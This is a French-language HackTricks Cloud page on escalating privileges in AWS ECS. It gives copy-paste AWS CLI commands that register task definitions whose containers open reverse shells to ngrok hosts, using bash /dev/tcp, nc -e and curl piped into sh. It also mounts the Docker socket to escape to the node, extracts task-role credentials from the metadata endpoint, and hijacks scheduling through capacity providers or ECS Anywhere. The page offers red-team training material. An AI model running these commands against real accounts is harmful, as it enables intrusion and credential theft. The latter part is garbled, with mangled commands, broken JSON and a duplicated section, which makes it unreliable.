AWS - ECS Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
ECS
Plus dâinfo sur ECS dans:
iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask
Un attaquant abusant des permissions iam:PassRole, ecs:RegisterTaskDefinition et ecs:RunTask sur ECS peut gĂ©nĂ©rer une nouvelle task definition avec un container malveillant qui vole les identifiants metadata et lâexĂ©cuter.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impact potentiel : privesc direct vers un autre ECS role.
iam:PassRole,ecs:RunTask
Un attaquant disposant des permissions iam:PassRole et ecs:RunTask peut dĂ©marrer une nouvelle ECS task avec des valeurs modifiĂ©es pour execution role, task role et le command du conteneur. La commande CLI ecs run-task contient le flag --overrides qui permet de modifier Ă lâexĂ©cution executionRoleArn, taskRoleArn et le command du conteneur sans toucher Ă la task definition.
Les IAM roles spĂ©cifiĂ©s pour taskRoleArn et executionRoleArn doivent permettre dâĂȘtre assumĂ©s par ecs-tasks.amazonaws.com dans leur trust policy.
De plus, lâattaquant doit connaĂźtre :
- ECS cluster name
- VPC Subnet
- Security group (Si aucun security group nâest spĂ©cifiĂ©, le security group par dĂ©faut sera utilisĂ©)
- Task Definition Name and revision
- Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Dans lâextrait de code ciâdessus, un attacker ne remplace que la valeur de taskRoleArn. Cependant, lâattacker doit disposer de lâautorisation iam:PassRole sur le taskRoleArn spĂ©cifiĂ© dans la commande et sur le executionRoleArn spĂ©cifiĂ© dans la task definition pour que lâattaque puisse avoir lieu.
Si lâIAM role que lâattacker peut passer dispose de privilĂšges suffisants pour rĂ©cupĂ©rer lâimage ECR et dĂ©marrer la ECS task (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) alors lâattacker peut spĂ©cifier le mĂȘme IAM role pour executionRoleArn et taskRoleArn dans la commande ecs run-task.
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
Impact potentiel : AccĂšs direct (privesc) Ă nâimporte quel task role ECS.
iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask
Comme dans lâexemple prĂ©cĂ©dent, un attaquant abusant des permissions iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask dans ECS peut gĂ©nĂ©rer une nouvelle task definition avec un conteneur malveillant qui vole les identifiants des mĂ©tadonnĂ©es et lâexĂ©cuter.
Cependant, dans ce cas, une container instance pour exĂ©cuter la task definition malveillante doit ĂȘtre disponible.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impact potentiel : Direct privesc to any ECS role.
iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)
Tout comme dans lâexemple prĂ©cĂ©dent, un attaquant abusant des autorisations iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ou ecs:CreateService sur ECS peut gĂ©nĂ©rer une nouvelle task definition avec un malicious container qui vole les metadata credentials et lâexĂ©cuter en crĂ©ant un nouveau service avec au moins 1 task en cours dâexĂ©cution.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Impact potentiel : Privesc direct vers nâimporte quel rĂŽle ECS.
iam:PassRole, (ecs:UpdateService|ecs:CreateService))
En fait, avec seulement ces permissions, il est possible dâutiliser des overrides pour exĂ©cuter des commandes arbitraires dans un conteneur avec un rĂŽle arbitraire avec quelque chose comme :
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Potential Impact: Privesc direct vers nâimporte quel rĂŽle ECS.
ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Ce scénario est similaire aux précédents mais sans la permission iam:PassRole.
Ceci reste intĂ©ressant car si vous pouvez exĂ©cuter un container arbitraire, mĂȘme sans rĂŽle, vous pourriez exĂ©cuter un container privilĂ©giĂ© pour vous Ă©chapper vers le node et voler le rĂŽle IAM EC2 et les rĂŽles des autres containers ECS sâexĂ©cutant sur le node.
Vous pourriez mĂȘme forcer dâautres tĂąches Ă sâexĂ©cuter Ă lâintĂ©rieur de lâinstance EC2 que vous compromettez pour voler leurs identifiants (comme discutĂ© dans la Privesc to node section).
Warning
Cette attaque nâest possible que si le ECS cluster utilise des instances EC2 et pas Fargate.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Un attaquant disposant des ecs:ExecuteCommand, ecs:DescribeTasks peut exĂ©cuter des commandes Ă lâintĂ©rieur dâun conteneur en cours dâexĂ©cution et exfiltrer le rĂŽle IAM qui y est attachĂ© (vous avez besoin des permissions describe car elles sont nĂ©cessaires pour exĂ©cuter aws ecs execute-command).
Cependant, pour cela, lâinstance de conteneur doit exĂ©cuter lâExecuteCommand agent (ce qui nâest pas le cas par dĂ©faut).
Par consĂ©quent, lâattaquant pourrait essayer de :
- Essayer dâexĂ©cuter une commande dans chaque conteneur en cours dâexĂ©cution
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
Une fois que vous avez un shell Ă lâintĂ©rieur du conteneur, vous pouvez gĂ©nĂ©ralement extract the task role credentials depuis le task credentials endpoint et les rĂ©utiliser en dehors du conteneur :
# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY
- If he has
ecs:RunTask, run a task withaws ecs run-task --enable-execute-command [...] - If he has
ecs:StartTask, run a task withaws ecs start-task --enable-execute-command [...] - If he has
ecs:CreateService, create a service withaws ecs create-service --enable-execute-command [...] - If he has
ecs:UpdateService, update a service withaws ecs update-service --enable-execute-command [...]
You can find examples of those options in previous ECS privesc sections.
Potential Impact: Privesc to a different role attached to containers.
ssm:StartSession
Check in the ssm privesc page how you can abuse this permission to privesc to ECS:
iam:PassRole, ec2:RunInstances
Check in the ec2 privesc page how you can abuse these permissions to privesc to ECS:
ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole
Un attaquant disposant de ces autorisations peut souvent transformer âcluster membershipâ en un contournement du pĂ©rimĂštre de sĂ©curitĂ© :
- Enregistrer une instance EC2 contrĂŽlĂ©e par lâattaquant dans un cluster ECS victime (devenant une container instance)
- DĂ©finir des attributs dâinstance de conteneur personnalisĂ©s pour satisfaire les contraintes de placement
- Laisser ECS planifier des tĂąches sur cet hĂŽte
- Voler les identifiants du rĂŽle de tĂąche (et tous les secrets/donnĂ©es Ă lâintĂ©rieur du conteneur) depuis la tĂąche sâexĂ©cutant sur votre hĂŽte
High-level workflow:
- Obtenir le document dâidentitĂ© de lâinstance EC2 + signature depuis une instance EC2 que vous contrĂŽlez dans le compte cible (par exemple via SSM/SSH):
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
- Enregistrez-le dans le cluster cible, éventuellement en définissant des attributs pour satisfaire les contraintes de placement:
aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack
- Confirmer quâil a rejoint :
aws ecs list-container-instances --cluster "$CLUSTER"
- DĂ©marrer une task / mettre Ă jour un service pour que quelque chose sâexĂ©cute sur lâinstance, puis rĂ©cupĂ©rer les task role creds depuis lâintĂ©rieur de la task:
# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Notes:
- Lâenregistrement dâune instance de conteneur en utilisant le document/signature dâidentitĂ© de lâinstance implique que vous avez accĂšs Ă une instance EC2 dans le compte cible (ou que vous lâavez compromise). Pour le cross-account âbring your own EC2â, voir la technique ECS Anywhere sur cette page.
- Les contraintes de placement reposent gĂ©nĂ©ralement sur des attributs dâinstance de conteneur. ĂnumĂ©rez-les via
ecs:DescribeServices,ecs:DescribeTaskDefinition, etecs:DescribeContainerInstancespour savoir quels attributs vous devez définir.
ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets
Note
TODO : Tester ceci
Un attaquant disposant des autorisations ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, et ecs:DescribeTaskSets peut crĂ©er un task set malveillant pour un service ECS existant et mettre Ă jour le primary task set. Cela permet Ă lâattaquant dâexĂ©cuter du code arbitraire au sein du service.
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Impact potentiel : Exécuter du code arbitraire dans le service affecté, pouvant impacter sa fonctionnalité ou exfiltrer des données sensibles.
Références
Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Un attaquant disposant des permissions pour gĂ©rer les ECS capacity providers et mettre Ă jour les services peut crĂ©er un EC2 Auto Scaling Group quâil contrĂŽle, lâencapsuler dans un ECS Capacity Provider, lâassocier au cluster ciblĂ©, et migrer un service victime pour utiliser ce provider. Les tasks seront alors planifiĂ©es sur des EC2 instances contrĂŽlĂ©es par lâattaquant, permettant un accĂšs au niveau OS pour inspecter les containers et voler les task role credentials.
Commandes (us-east-1):
-
Prérequis
-
CrĂ©er Launch Template pour que lâECS agent rejoigne le cluster cible
-
Create Auto Scaling Group
-
CrĂ©er Capacity Provider Ă partir de lâASG
-
Associer le Capacity Provider au cluster (optionnellement par défaut)
-
Migrer un service vers votre provider
-
VĂ©rifier que les tasks sont planifiĂ©es sur les instances contrĂŽlĂ©es par lâattaquant
-
Optionnel : depuis le nĆud EC2, docker exec dans les containers cibles et lire http://169.254.170.2 pour obtenir les task role credentials.
-
Nettoyage
Impact potentiel : Les EC2 nodes contrĂŽlĂ©es par lâattaquant reçoivent les tasks de la victime, permettant un accĂšs au niveau OS aux containers et le vol des task IAM role credentials.
Commandes pas Ă pas (copier/coller)
export AWS_DEFAULT_REGION=us-east-1 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster # Instance profile for ECS nodes aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || trueVPC=vpc-18e6ac62 SUBNETS=
AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=
ASG_ARN=
CP_NAME=htcp-8797 aws ecs create-capacity-provider âname âauto-scaling-group-provider âautoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLEDâ aws ecs put-cluster-capacity-providers âcluster ââ âcapacity-providers âdefault-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service âcluster ââ âservice ââ âcapacity-provider-strategy capacityProvider=,weight=1 âforce-new-deployment
TASK= CI= aws ecs describe-container-instances âcluster ââ âcontainer-instances ââ âquery containerInstances[0].ec2InstanceId âoutput text
Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Abuser ECS Anywhere pour enregistrer un hĂŽte contrĂŽlĂ© par lâattaquant comme une EXTERNAL container instance dans un ECS cluster victime et exĂ©cuter des tasks sur cet hĂŽte en utilisant des task et execution roles privilĂ©giĂ©s. Cela donne un contrĂŽle au niveau OS sur lâendroit oĂč les tasks sâexĂ©cutent (votre propre machine) et permet le vol de credentials/donnĂ©es des tasks et des volumes attachĂ©s sans toucher aux capacity providers ou ASGs.
-
Permissions requises (exemple minimal) :
-
ecs:CreateCluster (optionnel), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
-
ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
-
iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (pour lâinstance role ECS Anywhere et les task/execution roles)
-
logs:CreateLogGroup/Stream, logs:PutLogEvents (si utilisation de awslogs)
-
Impact : ExĂ©cuter des containers arbitraires avec le taskRoleArn choisi sur lâhĂŽte de lâattaquant ; exfiltrer les task-role credentials depuis 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ; accĂ©der aux volumes montĂ©s par les tasks ; plus discret que manipuler les capacity providers/ASGs.
Ătapes
- Créer/identifier le cluster (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
- CrĂ©er le rĂŽle ECS Anywhere et lâactivation SSM (pour instance on-prem/EXTERNAL)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
- Provisionner lâhĂŽte attaquant et lâenregistrer automatiquement comme EXTERNAL (exemple : small AL2 EC2 as âonâpremâ)
user-data.sh
```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```task def (EXTERNAL launch)
cat > td-external.json << âJSONâ
{
âfamilyâ: âht-externalâ,
ârequiresCompatibilitiesâ: [ âEXTERNALâ ],
ânetworkModeâ: âbridgeâ,
âmemoryâ: â256â,
âcpuâ: â128â,
âexecutionRoleArnâ: âarn:aws:iam::
âcontainer-instances $CI
6) à partir d'ici vous contrÎlez l'hÎte qui exécute les tasks. Vous pouvez lire les task logs (si awslogs) ou exécuter directement des commandes sur l'hÎte pour exfiltrer des credentials/données depuis vos tasks.
#### Exemple de commande (placeholders)
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
Un attaquant disposant des permissions pour gérer les ECS capacity providers et mettre à jour les services peut créer un EC2 Auto Scaling Group qu'il contrÎle, l'encapsuler dans un ECS Capacity Provider, l'associer au cluster cible, et migrer un service victime pour qu'il utilise ce provider. Les tasks seront alors planifiées sur des EC2 instances contrÎlées par l'attaquant, permettant un accÚs au niveau OS pour inspecter les containers et voler les task role credentials.
Commands (us-east-1):
- Pré-requis
- Créer un Launch Template pour que l'ECS agent rejoigne le cluster cible
- Créer un Auto Scaling Group
- Créer un Capacity Provider à partir de l'ASG
- Associer le Capacity Provider au cluster (optionnellement comme défaut)
- Migrer un service vers votre provider
- Vérifier que les tasks atterrissent sur les instances de l'attaquant
- Optionnel : Depuis le nĆud EC2, docker exec dans les containers cibles et lire http://169.254.170.2 pour obtenir les task role credentials.
- Nettoyage
**Impact potentiel :** Les EC2 nodes contrÎlées par l'attaquant reçoivent les tasks de la victime, permettant un accÚs au niveau OS aux containers et le vol des task IAM role credentials.
> [!TIP]
> Apprenez & pratiquez AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Apprenez & pratiquez Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Soutenez HackTricks</summary>
>
> - Consultez les [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Rejoignez le** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) ou le [**telegram group**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des hacking tricks en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

